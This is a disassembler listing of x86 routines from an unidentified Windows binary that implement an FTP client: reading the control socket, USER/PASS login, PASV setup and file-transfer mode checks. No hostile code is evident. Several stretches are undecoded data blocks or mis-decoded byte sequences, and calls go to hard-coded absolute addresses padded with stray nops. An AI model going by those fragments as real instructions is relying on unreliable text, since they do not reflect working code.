; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 14681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 44740Ch, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473FC68h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71FC6807h, 1BEB0044h, 14468h, 0E8016A00h, 777FE42Bh
		dd 83F08B90h, 0F33B08C4h, 0F4681E75h, 90004473h, 809145E8h
		dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73F46824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		call	near ptr 77C371FAh
		nop
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42E4C2:				; CODE XREF: ___:0042E53Dj
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490:loc_42E4C2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		js	short near ptr byte_42E5AA
		inc	esp
		add	[eax-7F774B18h], dl
		ja	short loc_42E4C2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474C0
		push	edx
		call	ebp
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B8 ; jumptable 0042E641 case 1
		mov	dl, byte_4474BC
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474B0 ; jumptable 0042E641 case 2
		mov	cl, byte_4474B4
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A8 ; jumptable 0042E641 case 3
		mov	al, byte_4474AC
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474A0 ; jumptable 0042E641 case 4
		mov	dl, byte_4474A4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
